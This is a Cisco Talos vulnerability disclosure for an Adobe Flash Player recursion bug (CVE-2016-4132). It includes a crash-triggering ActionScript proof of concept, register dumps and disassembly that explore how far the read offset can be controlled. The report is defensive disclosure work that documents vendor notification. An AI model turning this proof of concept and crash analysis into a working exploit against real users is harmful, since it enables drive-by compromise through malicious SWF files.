Talos Vulnerability Report

TALOS-2016-0165

Adobe Flash Player Infinite Recursion Arbitrary Read Access Violation

June 14, 2016

Report ID

CVE-2016-4132

Summary

A potentially exploitable read access violation vulnerability exists in the a way Adobe Flash Player handles infinitely recursive calls. A specially crafted ActionScript code can cause a read access violation which can potentially be further abused. To trriger this vulnerability user interaction is required in that the user needs to visit a webpage with embedded malicious SWF file.

Tested Versions

Adobe Flash Player 21.0 (latest at the time of writing)

Product URLs

https://get.adobe.com/flashplayer/

Details

Vulnerability exists in a way Flash Player handles recursion when calling implicit functions such as “toString” or “valueOf”. It is best illustrated by an example:

 public class Test extends Sprite {

      public function Test() {

           function func7(){
           try {  obj_URIError0.toString ( ); } catch(e:Error){}
           try { obj_ByteArray8.writeDouble ( Math.PI); } catch(e:Error){}
           return "";
           }

           var specObj2 = { toString:func7};
           var obj_URIError0:URIError;
           var obj_ByteArray8:ByteArray;
           try { obj_URIError0 =   new URIError( specObj2, null ); } catch(e:Error){}
         func7();
           }
      }

The above code is broken down in a few steps:

 1. specObj2 has its toString method overloaded with func7.
 ..* toString() gets called implicitly when type coercion to string is required.
 2. obj_URIError0 is constructed with specObj2 as first argument
 ..* Constructor is public function URIError(message:String = "")
 3. func7() is called directly.
 4. In func7() , obj_URIError0.toString() is called first, which ends up calling specObj2.toString() implicitly.
 ..* Since specObj2.toString() is actually func7() this would create infinite recursion and the rest of that function should never get executed.
 5. After a number of recursive calls, an upper recursion limit will get hit
 ..* Then second line in func7() gets executed leading to a crash
 6. Flash crashes when trying to dereference Math.PI.

Above example is using objects of type UriError, ByteArray, and Math, but other combinations are possible. Most combinations end up crashing as straight forward null pointer dereferences but Math constants are somewhat special. We can observe the following crash when Math.PI is being dereferenced:

 eax=00000000 ebx=00002000 ecx=052d73a0 edx=07f3c240 esi=05312880 edi=000505b0
 eip=05fa8589 esp=000503c8 ebp=000504e0 iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
 05fa8589 f30f7e4050      movq    xmm0,mmword ptr [eax+50h] ds:0023:00000050=????????????????

Note that the crash happens in the JITed code which is generated based on the actionscript bytecode. Above crash is still a null pointer dereference but what makes it slightly more interesting is the fact that varying the constant in use gives us limited control over the offset in the JITed code. For example, using Math.SQRT2 instead of Math.PI gives:

 eax=00000000 ebx=00002000 ecx=052b63a0 edx=07d7a240 esi=05311880 edi=000505b0
 eip=05fb1577 esp=000503c8 ebp=000504e0 iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
 05fb1577 f30f7e4060      movq    xmm0,mmword ptr [eax+60h] ds:0023:00000060=????????????????

So, by varying the constant, we can vary the offset in the JITed code, but unfortunately as expected, in case of Math the highest offset is with SQRT2 (0x60) which is still far too low to be of any use.

Slight variations of the crashing piece of actionscript code yield slightly different results. For example:

 try { obj_ByteArray8.writeDouble ( Math[0x41414141]); } catch(e:Error){}

Even though not strictly valid, the above code produces slightly more interesting assembly when JITed and crashes here: 00a52a2d 8b44240c mov eax,dword ptr [esp+0Ch] 00a52a31 8bcb mov ecx,ebx 00a52a33 83e1f8 and ecx,0FFFFFFF8h 00a52a36 8b11 mov edx,dword ptr [ecx] <=== CRASH 00a52a38 8b5244 mov edx,dword ptr [edx+44h] 00a52a3b 50 push eax 00a52a3c ffd2 call edx 00a52a3e 5b pop ebx 00a52a3f c20800 ret 8

Still a null pointer dereference, but this time near a call instruction and with eax fully controlled:

 eax=41414141 ebx=00000001 ecx=00000000 edx=07ecb240 esi=05312880 edi=000505b0
 eip=00a52a36 esp=000503b0 ebp=000504e0 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
 flash!IAEModule_IAEKernel_UnloadModule+0x1ccfa6:
 00a52a36 8b11            mov     edx,dword ptr [ecx]  ds:0023:00000000=????????

By digging into the preceding code, we can see the following:

 05fb04d8 e833c6acfa      call    flash!IAEModule_IAEKernel_UnloadModule+0x1f7080 (00a7cb10) [1]
 05fb04dd 8bc8            mov     ecx,eax
 05fb04df c745c437000000  mov     dword ptr [ebp-3Ch],37h
 05fb04e6 8b4110          mov     eax,dword ptr [ecx+10h]                                            [2]
 05fb04e9 c745c439000000  mov     dword ptr [ebp-3Ch],39h
 05fb04f0 b919424063      mov     ecx,63404219h
 05fb04f5 81f158030122    xor     ecx,22010358h
 05fb04fb c745c43b000000  mov     dword ptr [ebp-3Ch],3Bh
 05fb0502 8d4001          lea     eax,[eax+1]                                                             [3]
 05fb0505 83ec08          sub     esp,8
 05fb0508 51              push    ecx
 05fb0509 50              push    eax                                                                     [4]
 05fb050a 8b8d10ffffff    mov     ecx,dword ptr [ebp-0F0h]
 05fb0510 e80b25aafa      call    flash!IAEModule_IAEKernel_UnloadModule+0x1ccf90 (00a52a20)

We can see that NULL being dereferenced at the time of the crash comes indirectly from the first call above and second argument (0x41414141) is put into ecx directly and pushed to the stack. The part with the xor is just an artifact of “constant blinding” JIT spray mitigation. So, in the above code, function 00a7cb10, at [1], will return a pointer in eax, which gets read at [2] (this sets eax to NULL). Then it gets incremented at [3] and pushed to the stack at [4]. Later, in the function 00a52a20 this NULL pointer is dereferenced and the process crashes due to ReadAV.

That being said, the working hypothesis is that hitting a recursion limit sets the process in an irregular state, then, since the exception is inhibited by the try/catch block, code continues with execution in this exceptional state which leads to an invalid dereference when retrieving the Math object further leading to a crash.

Above examples use Math constants to demonstrate limited control over the dereference offset. It could be possible that a special object could be crafted which would allow for bigger offsets turning this into an arbitrary read access violation which could be further abused.

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.

Timeline

2016-04-28 - Vendor Disclosure
2016-06-14 - Public Release